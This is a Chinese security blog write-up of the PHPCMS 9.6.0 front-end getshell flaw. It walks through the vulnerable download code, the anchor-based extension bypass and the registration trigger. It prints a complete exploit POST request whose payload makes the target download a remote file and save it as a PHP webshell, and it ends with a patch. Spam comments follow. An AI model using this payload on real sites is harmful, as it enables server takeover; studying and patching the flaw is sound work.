PHPCMS_V9.6.0 前台GETSHELL

0x01前言

这个漏洞出来也有一段时间了,成天不知道瞎忙些什么,一直也没静下心来研究一下。。。自己水平也是菜,一直玩人家反复玩了不知道多少遍的东西。只能多学点挖洞姿势,希望自己以后也能挖到一个0day(有生之年系列。。。。)

0x02漏洞分析

漏洞出现在/phpcms/libs/classes/attachment.class.php中的download函数中,代码如下:

    function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
    {
        global $image_d;
        $this->att_db = pc_base::load_model('attachment_model');
        $upload_url = pc_base::load_config('system','upload_url');
        $this->field = $field;
        $dir = date('Y/md/');
        $uploadpath = $upload_url.$dir;
        $uploaddir = $this->upload_root.$dir;
        $string = new_stripslashes($value);
        if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
        $remotefileurls = array();
        foreach($matches[3] as $matche)
        {
            if(strpos($matche, '://') === false) continue;
            dir_create($uploaddir);
            $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
        }
        unset($matches, $string);
        $remotefileurls = array_unique($remotefileurls);
        $oldpath = $newpath = array();
        foreach($remotefileurls as $k=>$file) {
            if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
            $filename = fileext($file);
            $file_name = basename($file);
            $filename = $this->getname($filename);

            $newfile = $uploaddir.$filename;
            $upload_func = $this->upload_func;
            if($upload_func($file, $newfile)) {
                $oldpath[] = $k;
                $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
                @chmod($newfile, 0777);
                $fileext = fileext($filename);
                if($watermark){
                    watermark($newfile, $newfile,$this->siteid);
                }
                $filepath = $dir.$filename;
                $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
                $aid = $this->add($downloadedfile);
                $this->downloadedfiles[$aid] = $filepath;
            }
        }
        return str_replace($oldpath, $newpath, $value);
    }   

简单分析一下函数的功能,函数形参$value获取到是远程文件的url,也是我们构造poc的地方。这段正则检测远程文件后缀名的合法性(gif|jpg|jpeg|bmp|png为合法),这里只是检测url的最后,所以我们可以用url有锚点(#)的特性来绕过。如果觉得难懂就拿出来输出一下匹配结果:

<?php
    $ext = 'jpg';
    $string = 'src=http://192.168.31.131/test.txt?.php#.jpg';//poc
    preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches);
    var_dump($matches);
?>

array(5) {
  [0]=>
  array(1) {
    [0]=>
    string(44) "src=http://192.168.31.131/test.txt?.php#.jpg"
  }
  [1]=>
  array(1) {
    [0]=>
    string(3) "src"
  }
  [2]=>
  array(1) {
    [0]=>
    string(0) ""
  }
  [3]=>
  array(1) {
    [0]=>
    string(40) "http://192.168.31.131/test.txt?.php#.jpg"
  }
  [4]=>
  array(1) {
    [0]=>
    string(3) "jpg"
  }
}

很明显我们构造的poc绕过了正则的检测,否则输出结果就位空了。继续往下走,将src的值放入fillurl函数(与download函数在同一文件)中,继续跟下去:

function fillurl($surl, $absurl, $basehref = '') {
        if($basehref != '') {
            $preurl = strtolower(substr($surl,0,6));
            if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://')
            return  $surl;
            else
            return $basehref.'/'.$surl;
        }
        $i = 0;
        $dstr = '';
        $pstr = '';
        $okurl = '';
        $pathStep = 0;
        $surl = trim($surl);
        if($surl=='') return '';
        $urls = @parse_url(SITE_URL);
        $HomeUrl = $urls['host'];
        $BaseUrlPath = $HomeUrl.$urls['path'];
        $BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath);
        $BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath);
        $pos = strpos($surl,'#');
        if($pos>0) $surl = substr($surl,0,$pos);
        if($surl[0]=='/') {
            $okurl = 'http://'.$HomeUrl.'/'.$surl;
        } elseif($surl[0] == '.') {
            if(strlen($surl)<=2) return '';
            elseif($surl[0]=='/') {
                $okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2);
            } else {
                $urls = explode('/',$surl);
                foreach($urls as $u) {
                    if($u=="..") $pathStep++;
                    else if($i<count($urls)-1) $dstr .= $urls[$i].'/';
                    else $dstr .= $urls[$i];
                    $i++;
                }
                $urls = explode('/', $BaseUrlPath);
                if(count($urls) <= $pathStep)
                return '';
                else {
                    $pstr = 'http://';
                    for($i=0;$i<count($urls)-$pathStep;$i++) {
                        $pstr .= $urls[$i].'/';
                    }
                    $okurl = $pstr.$dstr;
                }
            }
        } else {
            $preurl = strtolower(substr($surl,0,6));
            if(strlen($surl)<7)
            $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
            elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/')
            $okurl = $surl;
            else
            $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
        }
        $preurl = strtolower(substr($okurl,0,6));
        if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') {
            return $okurl;
        } else {
            $okurl = preg_replace('/^(http:\/\/)/i','',$okurl);
            $okurl = preg_replace('/\/{1,}/i','/',$okurl);
            return 'http://'.$okurl;
        }
    }

虽然这个函数写了一大坨,但是功能只有一个,就是把url的锚点去掉。回到download函数,此时取到的$remotefileurl的值为array('http://192.168.31.131/test.txt?.php#.jpg' => 'http://192.168.31.131/test.txt?.php'),然后经过了fileext函数

function fileext($filename) {
    return strtolower(trim(substr(strrchr($filename, '.'), 1, 10)));
}

这里要说一说strrchr函数,这个php内置函数是查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符,便于理解还是贴出测试代码:

<?php
    $filename = 'text.txt?.php';
    echo strrchr($filename, '.') ."\n";
    $ext = substr(strrchr($filename, '.'), 1, 10);
    echo $ext;
?>

.php
php

将后缀名取出之后没有做任何检测,那后面呢?我们继续向下看。将后缀名传入getname函数:

function getname($fileext){
    return date('Ymdhis').rand(100, 999).'.'.$fileext;
}

直接拼接后缀名,依然没有任何过滤。。。下面就直接下载文件并重命名,此时我们放在远程主机上的txt文件就被保存为了php文件,导致getshell。这里对url处理不当,以及前面一次过滤就以为万事大吉导致这个漏洞的产生。

找到了漏洞存在的地方,下面就要寻找一个触发漏洞的地方。
全局搜索一下,发现调用download函数的地方有不少:
QQ截图20170423222512.jpg

这里以caches/caches_model/caches_data/member_input.class.php为例:

function editor($field, $value) {
        $setting = string2array($this->fields[$field]['setting']);
        $enablesaveimage = $setting['enablesaveimage'];
        $site_setting = string2array($this->site_config['setting']);
        $watermark_enable = intval($site_setting['watermark_enable']);
        $value = $this->attachment->download('content', $value,$watermark_enable);
        return $value;
    }

可以看到没有对$value做任何过滤,那么editor函数又在哪里被调用了呢?看大牛的paper说是动态调用的。。。。(这不就超出我的能力范围了嘛。。),调用的地方在同文件的get函数里:

function get($data) {
        $this->data = $data = trim_script($data);
        $model_cache = getcache('member_model', 'commons');
        $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

        $info = array();
        $debar_filed = array('catid','title','style','thumb','status','islink','description');
        if(is_array($data)) {
            foreach($data as $field=>$value) {
                if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
                $field = safe_replace($field);
                $name = $this->fields[$field]['name'];
                $minlength = $this->fields[$field]['minlength'];
                $maxlength = $this->fields[$field]['maxlength'];
                $pattern = $this->fields[$field]['pattern'];
                $errortips = $this->fields[$field]['errortips'];
                if(empty($errortips)) $errortips = "$name 不符合要求!";
                $length = empty($value) ? 0 : strlen($value);
                if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
                if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
                if($maxlength && $length > $maxlength && !$isimport) {
                    showmessage("$name 不得超过 $maxlength 个字符!");
                } else {
                    str_cut($value, $maxlength);
                }
                if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
                if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
                $func = $this->fields[$field]['formtype'];
                if(method_exists($this, $func)) $value = $this->$func($field, $value);

                $info[$field] = $value;
            }
        }
        return $info;
    }

先对 $data  先做了 trim  去除两头空白字符的处理。 `if($data['islink']==1 && !in_array($field,$debar_filed)) continue; 然后如果传入的字段在黑名单里面,则不能继续执行,所以我们需要 在caches/caches_model/caches_data/model_field_1.cache.php`文件里面找到合适的field 名。
然后使用safe_replace函数来处理:

function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','&quot;',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','&lt;',$string);
    $string = str_replace('>','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}

没啥影响,继续向下看:

$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

我们要找的 field 的 formtype 值必须是 editor,先跟一下fields变量

var $modelid;
var $fields;
var $data;

function __construct($modelid) {
    ......
    $this->fields = getcache('model_field_'.$modelid,'model');
    ......
}

继续跟到getcache函数:

function getcache($name, $filepath='', $type='file', $config='') {
    if(!preg_match("/^[a-zA-Z0-9_-]+$/", $name)) return false;
    if($filepath!="" && !preg_match("/^[a-zA-Z0-9_-]+$/", $filepath)) return false;
    pc_base::load_sys_class('cache_factory','',0);
    if($config) {
        $cacheconfig = pc_base::load_config('cache');
        $cache = cache_factory::get_instance($cacheconfig)->get_cache($config);
    } else {
        $cache = cache_factory::get_instance()->get_cache($type);
    }
    return $cache->get($name, '', '', $filepath);
}

就是读取的caches/caches_model/caches_data/model_field_{$modelid}.cache.php文件,$modelid是我们可以控制的(后面会提到),正好在caches/caches_model/caches_data/model_field_1.cache.php文件里面找到合适的 field 字段——content

......
'content' => 
  array (
    'fieldid' => '8',
    'modelid' => '1',
    'siteid' => '1',
    'field' => 'content',
    'name' => '内容',
    'tips' => '<div class="content_attr"><label><input name="add_introduce" type="checkbox"  value="1" checked>是否截取内容</label><input type="text" name="introcude_length" value="200" size="3">字符至内容摘要
<label><input type=\'checkbox\' name=\'auto_thumb\' value="1" checked>是否获取内容第</label><input type="text" name="auto_thumb_no" value="1" size="2" class="">张图片作为标题图片
</div>',
    'css' => '',
    'minlength' => '1',
    'maxlength' => '999999',
    'pattern' => '',
    'errortips' => '内容不能为空',
    'formtype' => 'editor',
......

因为这个文件是 cache 文件,根据其命名规范,找其对应的 module 文件就好了,对应的目录为: /phpcms/modules/member/ ,我们重点关注哪个文件中的方法中用了 $member_input‐>get  方法,并且这个方法可以在前台调用。
!\[\]()

这三处看了一下只有/phpcms/modules/member/index.php  中的 register 方法比较适合利用,关键代码如下:

//附表信息验证 通过模型获取会员信息
if($member_setting['choosemodel']) {
    require_once CACHE_MODEL_PATH.'member_input.class.php';
    require_once CACHE_MODEL_PATH.'member_update.class.php';
    $member_input = new member_input($userinfo['modelid']);     
    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
    $user_model_info = $member_input->get($_POST['info']);                                      
}

$_POST['info']经过new_html_special_chars函数,将文本转化为html实体

function new_html_special_chars($string) {
    $encoding = 'utf-8';
    if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
    if(!is_array($string)) 
            return htmlspecialchars($string,ENT_QUOTES,$encoding);
    foreach($string as $key => $val) 
            $string[$key] = new_html_special_chars($val);
    return $string;
}

还记得这个modelid吗?在member_input.class.php中可以通过这个变量获取到我们想要的field值,而现在我们发现,这个变量是可控的,是不是很开心?

//仍然在register方法中
$userinfo['modelid'] = isset($_POST['modelid']) ? intval($_POST['modelid']) : 10;

经过这么久的分析,终于到了最后一击。结合我们上面的一系列分析,只要 $_POST['info']  中的 content  字段的值有 src=http://10.10.10.1/test.txt?.php#.jpg 这个字符串或者把 src  替换成 href  就能触发漏洞了。

最后再啰嗦啰嗦,总体上分析一下这个src=http://10.10.10.1/test.txt?.php#.jpgpayload:

  1. 取出src的值,并且验证后缀名的合法性,利用#.jpg绕过
  2. 去除锚点,src变为http://127.0.0.1/test.txt?.php
  3. 获取远程文件后缀名,由于使用了strrchr函数,导致取得的后缀名为php
  4. 直接copy远程文件,并重命名,shell已经写入目标主机中
    ps.关于test.txt?.php为什么是这样,上两个图应该就明白了
    QQ截图20170423230642.jpg

QQ截图20170423230706.jpg

0x03漏洞利用

忙活了这么半天就为了这一刻啊~
首先进入注册页面 /index.php?m=member&c=index&a=register&siteid=1
填写注册信息后抓包
QQ截图20170423231203.jpg

参考这个可以构造info[content]参数
QQ截图20170423231500.jpg

但是像这样提交是会报模块中没有birthday字段错误的,那去掉就好了~
最终利用方式如下

url: /index.php?m=member&c=index&a=register&siteid=1 
post数据:siteid=1&modelid=11&username=abcd&password=123456&[email protected]&info[content]=src=http://10.10.10.1/test.txt?.php#.jpg&dosubmit=1&protocol=

QQ截图20170422225432.jpg

QQ截图20170423234531.jpg

0x04漏洞修复

  1. 在获取后缀名的时候再次验证后缀名的合法性
    在 /phpcms/libs/classes/attachment.class.php 的166行后加上一行代码检查:
    if(!preg_match("/($ext)/i", $filename)) continue;
  2. 下载9.6.1版。。。。。。

0x05总结

这篇文章写得很长,看起来可能有些啰嗦,我只是想把我的审计过程详细的记录下来。这次审计学到了很多东西,像函数的动态调用找到漏洞点之后再去寻找触发点等,都是之前自己小打小闹的时候没有遇到过的。总而言之,水平有待提高啊。。。

评论列表
  1. Hello!

  2. Hello!sildenafil generic india

  3. Really appreciate you sharing this post.Thanks Again. Really Great. gcccdeebdgefckfk

添加新评论